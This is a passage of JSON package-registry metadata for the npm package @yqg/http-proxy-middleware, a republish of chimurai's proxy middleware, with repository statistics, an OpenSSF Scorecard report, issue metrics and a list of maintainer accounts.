/packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":1376540,"name":"@yqg/http-proxy-middleware","ecosystem":"npm","description":"The one-liner node.js proxy middleware for connect, express and browser-sync","homepage":"https://github.com/chimurai/http-proxy-middleware#readme","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":["reverse","proxy","middleware","http","https","connect","express","fastify","polka","browser-sync","gulp","grunt-contrib-connect","websocket","ws","cors"],"namespace":"yqg","versions_count":9,"first_release_published_at":"2021-09-06T04:13:12.482Z","latest_release_published_at":"2021-11-22T07:39:38.469Z","latest_release_number":"2.1.6","last_synced_at":"2026-07-07T06:22:20.274Z","created_at":"2022-04-08T22:57:12.361Z","updated_at":"2026-07-07T06:22:20.274Z","registry_url":"https://www.npmjs.com/package/@yqg/http-proxy-middleware","install_command":"npm install @yqg/http-proxy-middleware","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"alpha":"2.1.0-alpha.1","latest":"2.1.6"}},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2026-06-27T18:48:14.000Z","size":4416,"stargazers_count":11132,"open_issues_count":22,"forks_count":881,"subscribers_count":113,"default_branch":"master","last_synced_at":"2026-06-29T01:19:25.768Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-06-27T18:48:18.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"c2a3f314-ac82-4c44-9219-3b82cbfa0f8e","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":87,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34914647,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-29T02:00:05.398Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-07T06:22:17.294Z","dependent_packages_count":1,"downloads":106,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":26.87826197509135,"dependent_repos_count":25.32799796580169,"dependent_packages_count":16.223928578504864,"stargazers_count":1.2398004607859754,"forks_count":1.5692042885178354,"average":14.247838653740342},"purl":"pkg:npm/%40yqg/http-proxy-middleware","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@yqg/http-proxy-middleware","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@yqg/http-proxy-middleware","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@yqg/http-proxy-middleware/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-18T20:26:59.603Z","issues_count":141,"pull_requests_count":285,"avg_time_to_close_issue":13293581.985074626,"avg_time_to_close_pull_request":4164601.252,"issues_closed_count":67,"pull_requests_closed_count":250,"pull_request_authors_count":43,"issue_authors_count":134,"avg_comments_per_issue":4.6879432624113475,"avg_comments_per_pull_request":1.4456140350877194,"merged_pull_requests_count":204,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":14,"past_year_pull_requests_count":43,"past_year_avg_time_to_close_issue":1199106.0,"past_year_avg_time_to_close_pull_request":238577.41666666666,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":36,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":1.3571428571428572,"past_year_avg_comments_per_pull_request":2.0697674418604652,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":206,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@yqg%2Fhttp-proxy-middleware/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@yqg%2Fhttp-proxy-middleware/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@yqg%2Fhttp-proxy-middleware/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@yqg%2Fhttp-proxy-middleware/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@yqg%2Fhttp-proxy-middleware/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@yqg%2Fhttp-proxy-middleware/codemeta","maintainers":[{"uuid":"hongweihu","login":"hongweihu","name":null,"email":"979956624@qq.com","url":null,"packages_count":98,"html_url":"https://www.npmjs.com/~hongweihu","role":null,"created_at":"2022-11-11T06:40:55.731Z","updated_at":"2022-11-11T06:40:55.731Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/hongweihu/packages"},{"uuid":"iuwoo","login":"iuwoo","name":null,"email":"iuwoowoo@163.com","url":null,"packages_count":98,"html_url":"https://www.npmjs.com/~iuwoo","role":null,"created_at":"2022-11-11T06:40:55.784Z","updated_at":"2022-11-11T06:40:55.784Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/iuwoo/packages"},{"uuid":"yqg-owner","login":"yqg-owner","name":null,"email":"developer@yangqianguan.com","url":null,"packages_count":96,"html_url":"https://www.npmjs.com/~yqg-owner","role":null,"created_at":"2022-11-11T06:40:55.982Z","updated_at":"2022-11-11T06:40:55.982Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/yqg-owner/packages"},{"uuid":"center620","login":"center620","name":null,"email":"zxcenter86@gmail.com","url":null,"packages_count":97,"html_url":"https://www.npmjs.com/~center620","role":null,"created_at":"2022-11-11T06:40:56.183Z","updated_at":"2022-11-11T06:40:56.183Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/center620/packages"},{"uuid":"guxiaodai","login":"guxiaodai","name":null,"email":"1839815933@qq.com","url":null,"packages_count":96,"html_url":"https://www.npmjs.com/~guxiaodai","role":null,"created_at":"2022-11-11T06:40:56.218Z","updated_at":"2022-11-11T06:40:56.218Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/guxiaodai/packages"},{"uuid":"northseacoder","login":"northseacoder","name":null,"email":"646388689@qq.com","url":null,"packages_count":109,"html_url":"https://www.npmjs.com/~northseacoder","role":null,"created_at":"2022-11-11T06:40:56.368Z","updated_at":"2022-11-11T06:40:56.368Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/northseacoder/packages"},{"uuid":"zzj5470816","login":"zzj5470816","name":null,"email":"zhangzhijie547@163.com","url":null,"packages_count":96,"html_url":"https://www.npmjs.com/~zzj5470816","role":null,"created_at":"2022-11-11T06:40:56.661Z","updated_at":"2022-11-11T06:40:56.661Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/zzj5470816/packages"},{"uuid":"yyh_","login":"yyh_","name":null,"email":"2938025925@qq.com","url":null,"packages_count":98,"html_url":"https://www.npmjs.com/~yyh_","role":null,"created_at":"2022-11-11T06:40:56.715Z","updated_at":"2022-11-11T06:40:56.715Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/yyh_/packages"},{"uuid":"szll","login":"szll","name":null,"email":"1004274212@qq.com","url":null,"packages_count":99,"html_url":"https://www.npmjs.com/~szll","role":null,"created_at":"2022-11-11T06:40:56.778Z","updated_at":"2022-11-11T06:40:56.778Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/szll/packages"},{"uuid":"zhayoyang","login":"zhayoyang","name":null,"email":"2251396833@qq.com","url":null,"packages_count":96,"html_url":"https://www.npmjs.com/~zhayoyang","role":null,"created_at":"2022-11-11T06:40:56.808Z","updated_at":"2022-11-11T06:40:56.808Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/zhayoyang/packages"},{"uuid":"hanyefeng","login":"hanyefeng","name":null,"email":"15610691608@163.com","url":null,"packages_count":97,"html_url":"https://www.npmjs.com/~hanyefeng","role":null,"created_at":"2024-11-25T05:14:09.114Z","updated_at":"2024-11-25T05:14:09.114Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/hanyefeng/packages"},{"uuid":"baihuiru","login":"baihuiru","name":null,"email":"bhremail@163.com","url":null,"packages_count":109,"html_url":"https://www.npmjs.com/~baihuiru","role":null,"created_at":"2025-10-26T21:40:34.889Z","updated_at":"2025-10-26T21:40:34.889Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/baihuiru/packages"},{"uuid":"xuliangmost","login":"xuliangmost","name":null,"email":"xuliang_most@163.com","url":null,"packages_count":103,"html_url":"https://www.npmjs.com/~xuliangmost","role":null,"created_at":"2024-11-25T05:14:09.075Z","updated_at":"2024-11-25T05:14:09.075Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/xuliangmost/packages"},{"uuid":"lijiahanger","login":"lijiahanger","name":null,"email":"jiahangli@fintopia.tech","url":null,"packages_count":97,"html_url":"https://www.npmjs.com/~lijiahanger","role":null,"created_at":"2025-09-02T09:10:20.512Z","updated_at":"2025-09-02T09:10:20.512Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/lijiahanger/packages"},{"uuid":"remmurd1","login":"remmurd1","name":null,"email":"wangkairemmurd@gmail.com","url":null,"packages_count":97,"html_url":"https://www.npmjs.com/~remmurd1","role":null,"created_at":"2024-10-11T07:51:46.819Z","updated_at":"2024-10-11T07:51:46.819Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/remmurd1/packages"},{"uuid":"runrunr","login":"runrunr","name":null,"email":"runcode@foxmail.com","url":null,"packages_count":96,"html_url":"https://www.npmjs.com/~runrunr","role":null,"created_at":"2024-10-11T07:51:47.080Z","updated_at":"2024-10-11T07:51:47.080Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/runrunr/packages"},{"uuid":"lwwshare","login":"lwwshare","name":null,"email":"lwwshare@163.com","url":null,"packages_count":96,"html_url":"https://www.npmjs.com/~lwwshare","role":null,"created_at":"2024-11-08T20:41:18.596Z","updated_at":"2024-11-08T20:41:18.596Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/lwwshare/packages"},{"uuid":"zhenkunliu2","login":"zhenkunliu2","name":null,"email":"17319320427@163.com","url":null,"packages_count":96,"html_url":"https://www.npmjs.com/~zhenkunliu2","role":null,"created_at":"2024-11-25T05:14:08.956Z","updated_at":"2024-11-25T05:14:08.956Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/zhenkunliu2/packages"},{"uuid":"shaotanliang","login":"shaotanliang","name":null,"email":"shaotanliang@fintopia.tech","url":null,"packages_count":101,"html_url":"https://www.npmjs.com/~shaotanliang","role":null,"created_at":"2025-03-10T20:18:10.930Z","updated_at":"2025-03-10T20:18:10.930Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/shaotanliang/packages"},{"uuid":"mozhichen","login":"mozhichen","name":null,"email":"chongchen@fintopia.tech","url":null,"packages_count":97,"html_url":"https://www.npmjs.com/~mozhichen","role":null,"created_at":"2025-04-06T11:03:13.041Z","updated_at":"2025-04-06T11:03:13.041Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/mozhichen/packages"},{"uuid":"wangxuehao_yqg","login":"wangxuehao_yqg","name":null,"email":"xuehaowang@fintopia.tech","url":null,"packages_count":96,"html_url":"https://www.npmjs.com/~wangxuehao_yqg","role":null,"created_at":"2025-03-24T22:17:17.034Z","updated_at":"2025-03-24T22:17:17.034Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/wangxuehao_yqg/packages"},{"uuid":"ly-wangtao","login":"ly-wangtao","name":null,"email":"taowang@fintopia.tech","url":null,"packages_count":97,"html_url":"https://www.npmjs.com/~ly-wangtao","role":null,"created_at":"2025-04-06T11:03:13.096Z","updated_at":"2025-04-06T11:03:13.096Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/ly-wangtao/packages"},{"uuid":"elgar_adah","login":"elgar_adah","name":null,"email":"elgara@163.com","url":null,"packages_count":96,"html_url":"https://www.npmjs.com/~elgar_adah","role":null,"created_at":"2025-04-15T04:52:39.480Z","updated_at":"2025-04-15T04:52:39.480Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/elgar_adah/packages"},{"uuid":"lilyto","login":"lilyto","name":null,"email":"1599858439@qq.com","url":null,"packages_count":99,"html_url":"https://www.npmjs.com/~lilyto","role":null,"created_at":"2025-05-15T06:07:12.272Z","updated_at":"2025-05-15T06:07:12.272Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/lilyto/packages"},{"uuid":"lyyyyyyy","login":"lyyyyyyy","name":null,"email":"1134323178@qq.com","url":null,"packages_count":96,"html_url":"https://www.npmjs.com/~lyyyyyyy","role":null,"created_at":"2025-06-24T04:05:33.286Z","updated_at":"2025-06-24T04:05:33.286Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/lyyyyyyy/packages"},{"uuid":"ziye_lf","login":"ziye_lf","name":null,"email":"2311710322@qq.com","url":null,"packages_count":96,"html_url":"https://www.npmjs.com/~ziye_lf","role":null,"created_at":"2025-07-09T04:10:47.812Z","updated_at":"2025-07-09T04:10:47.812Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/ziye_lf/packages"},{"uuid":"happylyj","login":"happylyj","name":null,"email":"yunjuanli@fintopia.tech","url":null,"packages_count":96,"html_url":"https://www.npmjs.com/~happylyj","role":null,"created_at":"2025-08-27T14:11:15.167Z","updated_at":"2025-08-27T14:11:15.167Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/happylyj/packages"},{"uuid":"xingxingpan","login":"xingxingpan","name":null,"email":"xingpan@fintopia.tech","url":null,"packages_count":96,"html_url":"https://www.npmjs.com/~xingxingpan","role":null,"created_at":"2025-08-27T14:11:15.222Z","updated_at":"2025-08-27T14:11:15.222Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/xingxingpan/packages"},{"uuid":"ly-zhangrong","login":"ly-zhangrong","name":null,"email":"rongzhang@fintopia.tech","url":null,"packages_count":96,"html_url":"https://www.npmjs.com/~ly-zhangrong","role":null,"created_at":"2025-09-12T07:13:47.089Z","updated_at":"2025-09-12T07:13:47.089Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/ly-zhangrong/packages"},{"uuid":"wangchenying","login":"wangchenying","name":null,"email":"wangchenying2021@163.com","url":null,"packages_count":97,"html_url":"https://www.npmjs.com/~wangchenying","role":null,"created_at":"2025-10-12T21:50:53.420Z","updated_at":"2025-10-12T21:50:53.420Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/wangchenying/packages"},{"uuid":"yufengmeng","login":"yufengmeng","name":null,"email":"yufengmeng@fintopia.tech","url":null,"packages_count":94,"html_url":"https://www.npmjs.com/~yufengmeng","role":null,"created_at":"2025-11-29T13:08:30.564Z","updated_at":"2025-11-29T13:08:30.564Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/yufengmeng/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5666668,"maintainers_count":1207881,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}}],"commits":{"id":410,"full_name":"chimurai/http-proxy-middleware","default_branch":"master","total_commits":592,"total_committers":52,"total_bot_commits":3,"total_bot_committers":1,"mean_commits":11.384615384615385,"dds":0.10304054054054057,"past_year_total_commits":117,"past_year_total_committers":10,"past_year_total_bot_commits":0,"past_year_total_bot_committers":0,"past_year_mean_commits":11.7,"past_year_dds":0.0854700854